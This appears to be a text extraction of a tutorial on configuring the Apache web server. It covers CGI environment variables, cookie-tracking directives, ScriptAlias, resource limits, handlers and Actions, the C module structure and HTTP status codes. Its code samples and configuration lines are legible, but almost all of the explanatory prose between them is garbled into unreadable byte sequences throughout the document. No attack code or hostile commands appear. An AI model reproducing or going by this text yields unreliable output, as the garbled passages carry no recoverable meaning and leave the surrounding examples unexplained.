    ��$ ����, �� ����12 ��� !�/;<� �   ���� �	 �p ��� �, n2����� ��&2 .1�U�-,  u�  #u���1 #
� ��� 2�	"��"���� Bq& �	 "&�	 ��&�2 ��E:

sub print_env
    {

foreach my $e (keys %ENV)
{

        print "$e=$ENV{$e}\n";
}

    }
  ����" � 
"   ~�	 2 � ��"   .��1��� �� �]-^ z� �p � � �#�_� X& �  � �	 �"     2�u1 �]-^ 2 �

���1�2 #"#:
SERVER_SOFTWARE = Apache/1.3.9 (Unix) mod_perl/1.22
GATEWAY_INTERFACE = CGI/1.1
DOCUMENT_ROOT = /usr/www/APACHE3/MedicPlanet/site.medic/htdocs
REMOTE_ADDR = 192.168.123.1
SERVER_PROTOCOL = HTTP/1.1
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SERVER_SIGNATURE = 
REQUEST_METHOD = GET
QUERY_STRING = 
HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 4.01; Windows 
95)
PATH = 
/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/
local/bin:
/usr/X11R6/bin:/root/bin
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, 
image/pjpeg, 
application/vnd.ms-excel, application/msword, 
application/vnd.ms-powerpoint, */*
HTTP_CONNECTION = Keep-Alive
REMOTE_PORT = 1104
SERVER_ADDR = 192.168.123.5
HTTP_ACCEPT_LANGUAGE = en-gb
SCRIPT_NAME = 
HTTP_ACCEPT_ENCODING = gzip, deflate
SCRIPT_FILENAME = /usr/www/APACHE3/MedicPlanet/cgi-bin/MP_home
SERVER_NAME = www.Medic-Planet-here.com
PATH_INFO = /
REQUEST_URI = /
HTTP_COOKIE = Apache=192.168.123.1.1811957344309436; Medic-
Planet=8335562231
SERVER_PORT = 80
HTTP_HOST = www.medic-planet-here.com
PATH_TRANSLATED = /usr/www/APACHE3/MedicPlanet/cgi-
bin/MP_home/
SERVER_ADMIN = [no address given

  J��!i�,����� ], ���    )�2 2 ��2��&�.  �< �� "  g$ENV    u����2 Bu	�d �  #��u>�  .  �u	
 �#f, �.��. )���/$ENV{"GATEWAY_INTERFACE'} �	 �	��	'CGI/1.1'��� .

i�,����� ], ���,�  #�.��!��	�   M���p 1�	� ����� � ���� �      w	 ��ud n2�-�u�� 2�, � #u.� .
 �p �d2�   �p #�"  i�, ���! ������   #f, �p #��>� Y! ��& � )�&���, 
��p��  � #�"   �u�.� �]u^

�����. ���	��	 �2�&" 
 ��.� �� n2�-��� J�w��1�U�&�	 ya��, �#.
WWXaX���	�2��I�� �����3� �y�

,�w���   �p "  z��2��&�. .��1��� �  u, �   2�#uY! �2�u&� �  u"2�� i�, � �u��� ], � u�� 2 "  �u��
,�#�p .  ���V	 ��� 
q�,�  #" i�, z� #  �"#� �Y! " �p G   �p 2 � n2�# . 2 �2"�p� u�  ��u	 �� �  u" 


#.�2 2� � �}�, :SetEnv � PassEnv.
SetEnv

SetEnv variable value
Server config, virtual hosts

�" 2 
"�p��  �" i�, z� ], ���� �2�#f, � � �	 F9� � n2�p ��2��&�.���CGI #u�p 2  .
    �p ��� M�k, )���/ �	� #�� #" , 
� ��s, )�	_� � �" &�, z� �2 
"   u, � E� ���u1�   �� E u" z

��2��&�.   �p n2�-��� �	�0, �E .��	� ��! " 	 _� , 
���.�	_� ��s, �   �p ��2 ��u&�.   .��u1��� � �
,� �#��p"i�, z�#  �" J�. �	 #VHOST�Y! ", G��p�E:

<VirtualHost host1>
SetEnv VHOST customers
...
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</VirtualHost>
<VirtualHost host2>
SetEnv VHOST salesmen
...
</VirtualHost>

UnsetEnv 

UnsetEnv variable variable ...
Server config, virtual hosts

�"2 
"�p��� ���>�i�, �� �����], ���, \x$ � ��.� � ����� � �#�p .

PassEnv

PassEnv
�" 2 
"�p��  �" i�, z� ], ����    �	 � ��2��&�.���CGI  , 2 �#�p  .�" 2 
"�p��   �~�u�Y, �

 Yd��, 2�   , �p �	 � >	 ��� 
q�, �p 2����i�, �� �����], ����Y!  u"    �u	 #�u&�	 n#u0. G
 �d� 8��1�  ���� �p �       #�p �p �	 {��& )#& :�	 J�w��  . ,�w�� �;k,�   �p ��2 ��u&�. .  u� ��

 {�. 
�>.�2 �	�.�,��, �#&�	 B,�/ �.��!�2 �� #"��p�� �"�p n2�-��� ��#:
PassEnv OSTYPE

)� �	 ��� ��X��" �p ��� 
�.�,��i�, B,�/ � �OSTYPE�2�#f, � �#&�	 n2�p (
WWXbX�#�� ��
 .2 2��� &    � �qX:�,#1 .���q�� �q�   ����,� p�p�  ��, tf. ���    2 � ����&�"    uUXd )��	�up �

"  zn�w	�  � ��#,�&�1�"#.�2 2#s, �Y ��, 2 ��.� �	  .p�p�" � n2�2 �uq! z    yuU�� �up �u�
  B,�&"  ��].� n��& z�   ��� 2 �p ���"  #�HTTP  ��� n#& n#.�s�� . u,�   ��u�� )��u!�  � 
  �2��   �p 2�p  �	  p�p �p2�1 �<�   � �1���   � #���-	 �� �    )�!2�1 ��� �"      �2 J�us.� � �up 
 u� #

,�!.���  	 M���p #���0� � �   &�	 ��&�2 )� �# . u,�.��! u�   �� # �u.���� �u��Perl   w	 zu�p �� u"# :
CGI.pm   � CGI::Cookie .���    ��� ���	 �$�  )�q,~�   �#�	� 2   �u� ��� :�^ �	�" 
  )�u!2�1

�"�2 J�s.� � �p 
�# .
  ����,n��1��������  p�p �� �  n�w	� � �� �#�w. ��� , �#�p .,�w���      �	 n�	�2 �	�p �p " z

  , {�  n�w	��  �#�p     �p2�1 �< �	 ����, p�up�          u�f�, �up )� ��u& �u	 � �     �#u&�	 n#u0. 
,�#���� .  ��� n���� ���"  p�p ����12 #��  , �2�X. ��!     u��� �p 2�p ��� )��     �up �u�� �u	 


   �	 �	�pn�w	�  , �Y ��, �#�p .   p�p 2� � :�^ 2� , �� �u!  )�      �� n2�-�u�� �u	   J�u. n�uw	�   � ID
  p�p 2 2� �,��  1� n2�2 �   n#& n�  22��	" UXd #�   �� 	�n�w  ���	"	��2�p  .,�w�� �.��. )���/ �	�

 �p �	n�w	�Amazon2�p �Y ��, "� �	 �E� J�� J�"Welcome back Laurie!"#& � ��, "� �E" ��
�.�,��Amazonp�p�             � �� � ��1��& � 2�	 n#& n2����� �	 ����12 �	 n���� �p �    �	 )� ��

UXd �Y ��, �	� �	 �, n�w	���� n2�	  .
p�p�"  ��, ��& z� ���  .���p" ���], 
�   )� Name=Value       n���� �	 ��� 
q�, �p ��� 

   ���V	 ��& �p �� ��� # �U^�� o1 ��,�p #�.�,,��!#&�	 #.� . ��& ���,�1����� #"�. 
"�>  � �u�
 �p n2�-����  �x�#p �� #�URL)    #p ;k,"&" �	��	 "%26"��� (�p n2�-��� �#." z  {�u.  �u��
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-,�p�p �� #�, �!� #.���_�X& �� �"#&�	 �:
Butterthlies=8335562231

Butterthlies��w	��   �p        �V0, � n2�p 2�^ � )�,�  � �p �#�p�������#�� �p " 

n�w	�  , � �.�	_� , �. 2�, #�p���� �� .8335562231����& n��&�"2��	 "  �u1� 2 n#u��p #" 

2��	" ��� Z#.��	� ��U  ���  �q	��1 �� � .    p�p )2����� � )�����-����  uUY  �   �u	 yu>��, 

 2 )��	�p"�w . ��  ��! �	 ���  �2��! 2#/ #�   �_	 ��   =#$ B	�d � u"   �uw._, �u	 )� �� �ua�-$ ��
�2"#.

�" 
n��$��� 2 
q�, "p�p z���� :
expires=DATE

�"  
n��$ �! "  .�,� � ��     �u���, �p �	 u"  p�up #� u�f�, � � w	 �u}. 2  u�  �Vu0, �2�
,�p#� .� ���"U� 
� �#&�X. #���.� 2� �2 ����, o��! �>0. ", ��V�2�& . )� y��d

 Bq& �	Mon, 27-Apr-2020 13:46:11 GMT���  ."GMT" �/�� ���!��� ��s, .
 ���,�1����p�p #����2 ��! �2�& ��� "V�� 2 � " �2 n#�w	 �}. 2��"# .

domain=DOMAIN_NAME
  ����,���.��URL ��u���)     �u�� ��u� �� (    �u	 �DOMAIN_NAME �f, "   � �u>

X�!�, g�#�p . ;k,shipping.crate.acme.com �	 acme.comX�!�g���  .
path=PATH

  ��� X�! ��,�2� � g� �#�p �#��w.n>, � E� �)�� ��� �� (f,�"X�! � �>�, g� 2�u& . /  �u	
>, �����X�! � �2�2 g/foo �	 /foobar � /foo/htmlX�!�2�2 g.

secure
�"  �Y, )�#	 
�   p�p �p ��� �    �� ���! "    
,� M�.�p z , n2������  �2�&  �p    �u}�, �;uY�

��.�p� �	 �p ��� SSL  Bu�� 2 �p ��� n#& 
,� Error! Reference source not 
found.%�! ���� n#& n2�2 �.

n��$ �	 ��;� �� , �#  E���	��	 �#.�&"
:
Butterthlies=8335562231; expires=Mon, 27-Apr-2020 13:46:11 GMT

 2��2��&�.��� )�	� �	 Perlp�p ���2�� �i�, 2  u� �$ENV{'HTTP_COOKIE'} 
����2 B	�d����  .

��	�  p�p )2����� �  p�p �#f, ��    Up ��Up �	 �  u�#�Set-Cookie   ��u� 2 "  #�HTTP  �ud  �
�2�#:

Set-Cookie: Butterthlies=8335562231;expires=Mon, 27-Apr-2020 13:46:11 GMT

 �\n���.� �"�q. Z�,��� � ���� �p #" #�HTTP, B,�p � �#�p .
WW XbXWX�#�������� �

  �, ��� ��X��" &�	 B� , #�.��!����� �	 � �p #� � n2�p M�], �X���p�p ��� 2 �u	 � "�p�� �u���
�" � � �2 J�s.�# .    � ��, �}. �	 ��X��" 2 
"�p��  ��	 of� ���� 2 "	��   )��	�p      U]! �� Fu� E� )� u� B

n#.���� "�w.2�#�-, �#��>� #.
 �p J��!�  ���� �p �  , J�s.� �  #�21�� p�p n�����     2 )��	�up  u" � z"    yu���, �u,�.2�#

��� . �	 F9�"  #n#.��� � "   U]! ���V& � �,�.2�#� �p B�    �~��Y, �p #�"  . �p 
�    
�&�. �	 �� u" z
��2��&�. 2�2  .��	��	" �& 
"   
�&�. #"  z��2��&�.   � \�^2 �� )2�p �}."�p�� ��� �u$�  �u!
#&�	.
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CookieName

CookieName name
Server config, virtual host, directory, .htaccess

CookieName , n�� �� p�p J�. #�2�, n2����� �p �� 2�&  2�up �Vu0,  .  u� J�u.�t  ��u�
Apache��� .#  J�.", #��. #.��!"�>���A-Z �a-z �0-9� _ �–#&�	  .

CookieLog

CookieLog filename
Server config, virtual host

CookieLog   J�. n#.�����   � ��	� p�p �Xh��  �)�"�w.2�#� ( , �V0,�#�p . M��#u�,  �u!
    �p ��� )�n��$��  	 �   �LogFormat � �#�	�q�   � n2�p  p�up�  2 � �u� n#u.����  u"�w.2�#�

_p�,�2�p �Xh.
CookieTracking

CookieExpires expiry-period
CookieTracking [on|off]
Server config, virtual host, directory, .htaccess

�" 2 
"�p����� �! "  ���f.�� p�p � � , �V0,�#��p .)�#	 �u! )2�p �V0,"f.� �  ��u�
p�p�� 2 �"�p��  ���.� 2 ��    �2 �>0. " , ��V�#.�& .expiry-period  u, �� u!     yu>$ �u	 )��

.�h 2�#Y!�� ��" �;k, :�^ �	 �" 2 weeks 3 days 7 hours"Y! ��2�p 
 . ��� n2�-��� J�2 y��d ��
 �#&�	 ��&"	 #� 
""#&�	 ��], .n�2 ���.�,� ��X/ �X�Y, �� #�!:

years 
months 
weeks 
hours 
minutes

WW XbX\X7�9���� ���+�e�
n#.���� �#�	�q�� :�^ �	 "���� :

User webuser
Group webgroup

ServerName my586

DocumentRoot /usr/www/APACHE3/site.first/htdocs

TransferLog logs/access_log

CookieName "my_apache_cookie"

CookieLog logs/CookieLog
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CookieTracking on
CookieExpires 10000

 n�w.� 2n#.���� "�w.2�#�� ���1", n#��0, ��#.�&:
192.168.123.1.5653981376312508 "GET / HTTP/1.1" [05/Feb/2001:12:31:52
+0000]
192.168.123.1.5653981376312508 "GET /catalog_summer.html HTTP/1.1" 
[05/Feb/2001:12:31:55 +0000]
192.168.123.1.5653981376312508 "GET /bench.jpg HTTP/1.1" 
[05/Feb/2001:12:31:55 +0000]
192.168.123.1.5653981376312508 "GET /tree.jpg HTTP/1.1" 
[05/Feb/2001:12:31:55 +0000]
192.168.123.1.5653981376312508 "GET /hen.jpg HTTP/1.1" 
[05/Feb/2001:12:31:55 +0000]
192.168.123.1.5653981376312508 "GET /bath.jpg HTTP/1.1" 

[05/Feb/2001:12:31:55 +0000]
WWXcX��������#�=��!� #9
�����2 ��� "�p����	 �� �	 �p ��2��&�.���CGI2�2 :

ScriptAlias

ScriptAlias URLpath CGIpath
Server config, virtual host

2"�p��  �ScriptAlias    , J�s.� �p �2 �2#� .�����  ��	 � � �� � ���2��&�.���CGI n2�,�
,�#�p  ������12 � �" �p �	URLpath , {��&�      �u	 � #.�u& u"  z �u�2 ��u&�.  2CGIpath

#X!", B�#�p .��	�M�k,  :
ScriptAlias /bin /usr/local/apache/cgi-bin

��URL  Xu& �  �www.butterthlies.com/bin/fred �u�2 ��u&�./usr/local/apache/cgi-
bin/fred    2�p #���1 �� � �  . �p �d2�   �p #CGIpath �	 "  #" >, z�      �u	 �p #&�	 gU�, � /  {��u&

,�2�& .
"  >	 )�q,� z� -, ��#�ScriptAlias  u, E�����      �u�� )� #u�p   �up u,� �u!  )�URL    �u	 � 

�"�1�uuuuuu&��uuuuuu��� uuuuuu�uuuuuuYd�� ��uuuuuu>��	 2� y.��	�uuuuuu�	 " 
URL2�� �
www.butterthlies.com/bin/fred/purchase/ learjet �u�2 ��u&�.… /fred    ��u � BuXd #u�.�,

  �� 2�p #���1�  
�,purchase/ laserjet  � .� _�< ��"i�, g�], ����PATH_INFO�1� 2  u��
��2��&�.fred  �&�x� #���1  .#	" �< 
"  g,��!  )�"  z��2��&�. ��	 ��X���  #u��    {�u. 

  ����12  GU�V,�&�. .��	� � "  �	 �p 
"  �#�	� 2 #���2��&�. y>$ �	2��"�� ��" �u������
.��1��� � GU�V,�2�p  .

ScriptAliasMatch

ScriptAliasMatch regex directory
Server config, virtual host

�" 2 
"�p��   M2�Y, �ScriptAlias �� ���� �  �	� �f, "  � n2�� �>�#.�0�   E}�u, :��uX/ ��
  2�#.���� , n2�-����#�p . �	 n#& ���� E}�, :�X/URLX�! � � n#& n2�2 g ��u���  �u�   tuV	
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  _�.��� 2 ��],   �      n#& n2�2 ��& �	X�!�       J�. )���/ �	 � n2�2 g n#u.���    u, n2�-�u�� � #u�p .  �u	
)���/M�k, ��	 �)2�p M�Y�  �� ��2��&�. 2 /cgi-bin,�!� ���2 �� )��"2�p n2�-��� �:

ScriptAliasMatch /cgi-bin/(.*) /usr/local/apache/cgi-bin/$1

  ��� � �	�p�   #u.�http://www.butterthlies.com/cgi-bin/script3    #u�p �u���12 �"/cgi-
bin"   �	 /cgi-bin/X�!� , g�"#	� .  n�w.��	"  #script3   �   �	.*X�!��2 g� �up E u���   Eu� �u< 


,�& � �2�"  ��"."  �Y, �	 �   �. {�. �� "   � �>"*" �Y, �	�    2�#Y! ��  �. ��"�>��     �u	 �p "." X�!  u� g
" ��� ���� , ��#&�	 .��_�.����   �2 .*  ���� �	 �  , );/� �   �p #�p X�! ��&�    i�, 2 � n#& g u� �

$1 1� � ��. n�"#)     2 _�.��� 2 ��], :�X/ ���"�w�, 2 2�	 �,�2� 2 i�� �$21� � u, n�� 2�u&( .
 ���.� 2/usr/local/apache/cgi-bin/script3, �� ��2�&.

ScriptLog

ScriptLog filename
Default: no logging
Resource config

    �2� M�q&� �p �s.� ���"��2��&�.���CGI  ��&2 �p �   � ��u��  u" 2 
"�p� u�    M�qu&� 2 �
�2��"      J�. � n2�p z�p n#.�����   , �V0, � �#�p  � �p "��2�#�   �	 ��	�,CGI     �uXh )� 2 
,�#.�&.

ScriptLogLength

ScriptLogLength number_of_bytes
Default number_of_bytes: 10385760
Resource config

�" 2 
"�p��    M�< �kp�#$ �n#.��� M�q&� �2��"  Y! � �� , 
�#�p .,�w���    M�< �p  n#u.���   �u	 
�" 
� �#f,�� �#"�w.2�#�, Gd��, � 2�&)�1� �� F�"� 
�B,�p J�.(

ScriptLogBuffer

ScriptLogBuffer number_of_bytes
Default number_of_bytes: 1024
Resource config

�"2 
"�p���	 2�#Y! �kp�#$ �"������	� ����12 2 �Xh POST, �V0, � �p#�.

"  z��2��&�.  
q�,���       j	��, � n2�p B�/ #	 �.�,��   �     �u�].� �u< �	�    #u�p GuU! .
,�)��!, � \��, )�_ o��! j	��,��2��&�.2 �� �	 ��"�p��2�p M���p �.

RLimitCPU

RLimitCPU # | 'max' [# | 'max']
Default: OS defaults
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Server config, virtual host

RLimitCPU"  z"   , ��,��� �2 ����2� .  , ��,��� ����!  #.�"   2#/ z"   ��Up �max   �p �#&�	 
 Y! �kp�#$��    o��! n#& 
�.�,��    .�h y>$ �	 � �  ��� �	 ��#�"���  u, �V0,� u�p# .  M�� ��,��u�

, �V0, � jX�, �V� #$ J�2 ��,��� � jX�, J�. #$�#�p .

RLimitMEM

RLimitMEM # | 'max' [# | 'max']
Default: OS defaults
Server config, virtual host

RLimitMEM"  z"   , ��,��� �2 ����2� .  , ��,��� ����!  #.�"   2#/ z"    �u�Up �max   �#u&�	 
   �kp�#$ �p  �}��$Y!��    o��! n#& 
�.�,��    �	 y>$ �	 � "  ��� �	 ��#�"���    u, �Vu0, � u�p# .

 �V0, � jX�, �V� #$ J�2 ��,��� � jX�, J�. #$ M�� ��,���,�#�p.

RLimitNPROC

RLimitNPROC # | 'max' [# | 'max']
Default: OS defaults
Server config, virtual host

RLimitNPRC"  z"  , ��,��� �2 ����2� ., ��,��� ����! #.�" 2#/ z"  �u�Up �max  �#u&�	 
   �kp�#$ �p  2�#Y!#�"������ Y! ��  o��! n#& 
�.�,�� u	 ��� ��  	�up �u� � �  u, �Vu0,� u�p# .

, �V0, � jX�, �V� #$ J�2 ��,��� � jX�, J�. #$ M�� ��,����#�p.

WWXjX���$�	�
" �X�� z3�Y�d #p �    �p ���   ���� )�2 2� ��	 �   J�s.�      8�u1 M�u�/��� u"  z n#u.���  �� 

   8�1 �.��MIME .��1��� � , �2�& .��	�   M�k, "  zn#.���  �X�� �.�� �	 cgi-scripts�	  u" �u	 #
 )���/" z��2��&�.CGI2�& �� �  .
������#Y!2�    � :�^ �	 �X�� �t��1�� 2�2   �   . �_2 "    ��u�2 �u	 �up ���X�� �wActions

#��>� )2�p ���%� B	�d .���X���� �t� :�^ �	 ��1��"#��>� �:
send-as-is
n#.������ n���� �	 �>� �p :�^ )��� �	 � "��#��HTTP ���-	 (mod_asis).
cgi-script

n#.���, �� � � � #�p(mod_cgi) . ��&�2 � �! u&�	� _� �up #"  �u�Options ExecCGI�	  u" #
#&�	 M�Y�.

imap-file
n#.��� )���/ �	 � imagemap, n2�-��� �#�p .(mod_imap)

server-info
��#�	�q������, � ��� 2�(mod_info).

1 Handler
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server-status
Y%��UY� �������, � ��� 2�(mod_status).

server-parsed
   )2�up =�u�server-side includes(mod_include) .   u&�	 ��u&�2 �u �!� �up #Options

Includes�	 "#&�	 M�Y� #.
type-map

n#uu.��� )��uu�/ �uu	 � uu" zn#uu.���type map��uu	�uuUY� n�p�xuu, �uu, =�uu��#uu�p
(mod_negotiation) .

AddHandler

AddHandler handler-name extension1 extension2 ...
Server config, virtual host, directory, .htaccess

AddHandler"  z  �X��  2� �,   �	 �n#.��� �u��    ��#.�u>� �u	 �extension1   �  ...  �u&�w.
,�#�p . 2 ��� 
q�, M�k, )���/ �	n#.���� �#�	�q� ��& � o1"#&�	 2� �, �:

AddHandler cgi-script cgi bzq
  , v/�	 �p��&  2n#.������  �#.�>� �	 �  �.cgi"  �.bzq   )���/ �	 u"  z �u�2 ��u&�. �� �  �u"

CGI#.�& 2�#�Ud .

SetHandler

SetHandler handler-name
directory, .htaccess

�"  �	�0, �p 
�   �	 AddHandler, J�s.� ��� �#�2�  n#u& �V0, M�f�.�   ou��!handler-
name   �  � �	�   J�u�! n#u.��� �u��    2�u �,   2 u0V	�       #u�.�, n#u& ���ua �up:<Directory> �

<Location> �" �<Files>"m1�& 2 � �	 ��	�, .htaccess � , J�s.��#�2 .M�k, )���/ �	:
<Location /status>
<Limit get>
order deny,allow
allow from 192.168.123.1
deny from all
</Limit>
SetHandler server-status
</Location>

RemoveHandler

RemoveHandler extension [extension] ...
directory, .htaccess
RemoveHandler is only available in Apache 1.3.4 and later. 

2"�p��  �RemoveHandler       �	 y>��, �X�� �.�� �� n#.������  ��#.�>� �	 �  & �V0,  n#
  , \x$ ��#�p .�"    �	 �,� 
n#.������.htaccess � 2"�1�&���  , n�� � �  #�2    �uX�� ��>�.� ��

 n#& n2�	 �� �	 �#��p \x$ .M�k,:



===

/foo/.htaccess: 
AddHandler server-parsed .html 
/foo/bar/.htaccess: 
RemoveHandler .html

�.� � �s" , 
�   �p 2�&n#.������.html2   �1�& /foo/bar     )��u�/ �	  n#u.��� �u��  2�u/ �
fU!� #.�& )��$ 2���	 �!~�	 �1�& 2 �p � )#& =��Y!��#.2�	 n#& 
(.
WWXlXt����(Actions)

"  z  J��-,    , t�p ����X�� �	 oX!�,� #u&�	 . u"    t�up z     �� BuXd  �,#u1 u�2�  � n#u.��� �u��
 � n#& �V0, �	" z��2��&�.CGI, 2�#�p .

WW XlXWXt��
Action type cgi_script
Server config, virtual host, directory, .htaccess 

cgi_script   �� �	n#.���MIME"     {�. �� �X�� �type  , M��/� � 2�u& .� u"
Z�     #u�� �u	 
   ��� n2�-��� B	�d Z� .��	�   1�	 )#.�x� �.��. �n#.���   �� ��" � z�     ��� Z��2�u� � �u�U u�  )� �

   �	 )2����� �� BXd p �	�,�! -, #.��� #&�	 # .   )���/ �	"    �p ��� n2�� M�k, z u�  u, #� ���u1�E
��	� ���^  ��"  ��� 2 � 2 "z>   J��! n#.������.html   �     1� n2�u0� :�^ �	 u�    n2�up n� �

   �� BXd�,#1   �)2�2   ��	 J�w�� �	"	�� n2�0� ���� ��� K�1"E.��	� � "   �}�, 
site.filter  �	 �
�	�0,site.first2, ���p����k��� �	 �E�n#.���httpd.conf� :�^ �	 �p "��� �:

User webuser
Group webgroup
ServerName localhost
DocumentRoot /usr/www/APACHE3/site.filter/htdocs
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin
AccessConfig /dev/null
ResourceConfig /dev/null
AddHandler peter-zipped-html zhtml
Action peter-zipped-html /cgi-bin/unziphtml
<Directory /usr/www/APACHE3/site.filter/htdocs>
DirectoryIndex index.zhtml
</Directory>

�� #�!�X/ � �! B	�d :�q.:
•AddHandler"  #  �X�� z"  #   J�. �	peter-ziped-html   � ��1��#.�>� n#u.�����

zhtml, y>��, )� �	 ����2�)  �� BXd ��f. 2�X. �	zhtml�p �d2 �#( .
•Action"� z�, ���	 ��U�p#� .��	��.��. :

Action peter-zipped-html /cgi-bin/unziphtml
#	" �Y, 
�    �p ��� "��2��&�.unziphtml   �   � �� �	�_�    �uX�� �	peter-zipped-html


p M��/�".

��2��&�.… /cgi-bin/unziphtml� ���1 B,�&"��� �:
#!/bin/sh
echo "Content-Type: text/html"
echo
gzip -S .zhtml -d -c $PATH_TRANSLATED

gzip � �n#.�����   i�, 2 �p � ], �� u��PATH_TRANSLATED 1�  u�   n#u& n�  M�u�/�
,�2�& .
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���
	�� TU,:
 H� #9!9�������� ���

"q� ���	 ��" � 
"�¤���� ���� �        ��u& �u�� �p ��� )�    ��u�� �up � �u�.��  u, J�us.� �  � #u�2
#�>9."#" , �#�.��!�   i! � )� #�� �2 ��# . � ��X��" ��	 
�   J�. ��>	 �� �_���        �u��� 
�u, n��u�� �p 

,�   �� ���� ��2 2�&� ���� � � "   n2�� � �p 
  ��� n2�p �!. ���� � ��2 �"  z   ,�u�/ ou����
��	���.���       2�p�p � :�.�q,� �p ��� ����X,�" ���� �  , Z��>� ��#��2 .   jd�� 2,�w���  �p 
�����   �   ���"2 �.���"� �� , ��p�  �# � 2�#Y!"2���.���� . � 2 )� n���� _", �����p� ��u�� �p #�

      a� ��2 J�s.� �	 2�d ��.� )�#	�  . 2�1 �-��> . � 2"  
   �	 B��"n_�p"   � � �u��� u�n#�� �u��
  
�&�."  z�.���� ��	 � ���� � , ���2��"E.    � �	 ��� ��X�� "��p n��#.� �	 �p ��� 
�   )�u	� �u	 C

��&��"  &�	 ��&�2 �# .�" B�� 
  ��X, �	 � ���� �?,D  �� ��� � 2   u, 2���    �up  ��u���    �Vu>. @
, n�&� )� �	 ���� :��-�,�2�&.

W\XWX����
 ����, �~���$�"   tV	 
"  z�.����   ��1�� �module���. � "    2 ��1�� 
http_config.h �Y! " G

��� n#& .��	��	" ��� 
�.���� ��)9p tV	 _  �	�� "� (� o1 �	", {��& ��#.�&:
#include "httpd.h"
#include "http_config.h"

&�	 ��&�2 � �!� �p #httpd.h ��	���0V	 J��! ����� #p ���� J�~.
    tf. jd�� 2  ��1��module  M��!�  ���� ��>� #p�  #p �	  �u.���� u, � #u&�	 .� u"  ��1�u� 


  B,�&n�&������"   �	 j	��!�����>�  � � �  n�    o��! �p ���      2�u& n2�-��� y���, �d� 2 ��>�.
    �p �s.� ����1�����module 2 modules.c �Y!" n#& G��#. ���� ��>�� ����1�� �   GuU�V, 

moduleuu, � �#uu���&.n#uu.���modules.c ouu��!�uu�2��uu&�.Configure� ���n#uu.���
Configuration, ��1���2�&.

  �~��Y,  ���.����    ��1�� �	 module   , ��!�1 Z2�1 �"#	� . � 2"  �s� u"    M�uk, z uU�/�   �� � 
n#.���mod_asis.c , n#��0,���.�"#:

module asis_module = {
   STANDARD_MODULE_STUFF,
   NULL,                          /* initializer */
   NULL,                          /* create per-directory config structure */
   NULL,                          /* merge per-directory config structures */
   NULL,                          /* create per-server config structure */
   NULL,                          /* merge per-server config structures */
   NULL,                          /* command table */
   asis_handlers,                 /* handlers */
   NULL,                          /* translate_handler */
   NULL,                          /* check_user_id */
   NULL,                          /* check auth */
   NULL,                          /* check access */
   NULL,                          /* type_checker */
   NULL,                          /* prerun fixups */
   NULL                           /* logger */
   NULL,                          /* header parser */
   NULL,                          /* child_init */
   NULL,                          /* child_exit */
   NULL                           /* post read request */
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};
�>V.�   B1#, 
STANDARD_MODULE_STUFF   �p ����	 u"     J�u�! 2 # ����1�u��
module  #&�	 ��&�2 2� �.a��   )� �-�2�#f,� ��� �  ��	1�     ��� ��1�� �^��/   �p  ��u	 ��>��

#,"�"  ��.����  , n2�-��� ���#�p.   � �%�$ M�$ 2"    �� #�!�X/ ���   �V>. n��&API  � �u"��. �u.����
 �� 2"���� GU�V, �   J�. �.����)     J�. jd�� 2n#.��� )� (  �  �" n�&� z �	 �� ��1��module#Y	 �
� 2� J��! �>�.������.

  ���! 2 B1#,"  �w��	�handlers    	 �#Y	 �p ��� � ���1 )� �	 ��0��1�2�� E .���  Fu	 #d 

  �p�"  
   �	 B1#,���>�   �� ��&    j	��! � �� , n�&��   �p #�p 	 ��	��  
MIME  � Y	�u!�n�  ��#u.�
  ��.�  , �V0, ��#��p . 2 �#f,"  �	��	 ��U1#, �wNULL    �	 �p ��� u�Y,�    � �up �u�� )�  u" 

�.����� �� "
��U1#, �. n2�-��� �#�p .

�V>. 2 M2�Y, ��1��@,R� �	�0, "��� �:
static void register_hooks(apr_pool_t *p)
{
    ap_hook_handler(asis_handler,NULL,NULL,APR_HOOK_MIDDLE);
}

module AP_MODULE_DECLARE_DATA asis_module =
{
    STANDARD20_MODULE_STUFF,
    NULL, /* create per-directory config structure */
    NULL, /* merge per-directory config structures */
    NULL, /* create per-server config structure */
    NULL, /* merge per-server config structures */

NULL, /* command apr_table_t */
register_hooks /* register hooks */

};
�	"�2 )�0. #��p E j	�! register_hooks ( ) 2�p�p �	 ��1���.�������� �?,D2�2 g	��!  .

#Y	 tV	 2��_  �1 b�& � :�����2�2 E.
W\X\X�����%���=

 2�#.����HTTP 1.12�#Y!�Y%� #p � ��Y!", G�, �p #�p�.��!�  �u���12 ���� )���/ �	 #
 #.�& n2����� .	� j	��! ��0 �2 ��   Z��2�� 2"   �����12 zOK"  �DECLINES"  � u"  z  #up

Y%��  �,�	�#�.�2�� .DECLINED   � �	 ~��Y, " �Y, 
�    �p ���  �u.���� �u�!"U�  u	   �  Z��2�u�
 2�#. ����12 .OK�Y, �	 � �p ��� )� ����12  Z��2�u� �   n#u& u" ��" �uq�  Z��2�u�� u� J�

,��!�  #.  �,�2�"#	� .  Up �< �	�  #pY%��  �   n���� �	2�#Y!� ��� "#��  �	�p �	, Bf��,� 2�u& .
�! J�w�� 2� ����p ���#p�Y%� �� �� ��t�Y!" n#& G� :�^ �	"#��>� �:

#define HTTP_CONTINUE                      100
#define HTTP_SWITCHING_PROTOCOLS           101
#define HTTP_OK                            200
#define HTTP_CREATED                       201
#define HTTP_ACCEPTED                      202
#define HTTP_NON_AUTHORITATIVE 203
#define HTTP_NO_CONTENT                    204
#define HTTP_RESET_CONTENT                 205
#define HTTP_PARTIAL_CONTENT               206
#define HTTP_MULTIPLE_CHOICES              300
#define HTTP_MOVED_PERMANENTLY             301
#define HTTP_MOVED_TEMPORARILY             302
#define HTTP_SEE_OTHER                     303
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#define HTTP_NOT_MODIFIED                  304
#define HTTP_USE_PROXY                     305
#define HTTP_BAD_REQUEST                   400
#define HTTP_UNAUTHORIZED 401
#define HTTP_PAYMENT_REQUIRED              402
#define HTTP_FORBIDDEN                     403
#define HTTP_NOT_FOUND                     404
#define HTTP_METHOD_NOT_ALLOWED            405
#define HTTP_NOT_ACCEPTABLE                406
#define HTTP_PROXY_AUTHENTICATION_REQUIRED 407
#define HTTP_REQUEST_TIME_OUT              408
#define HTTP_CONFLICT                      409
#define HTTP_GONE                          410
#define HTTP_LENGTH_REQUIRED               411
#define HTTP_PRECONDITION_FAILED           412
#define HTTP_REQUEST_ENTITY_TOO_LARGE      413
#define HTTP_REQUEST_URI_TOO_LARGE         414
#define HTTP_UNSUPPORTED_MEDIA_TYPE        415
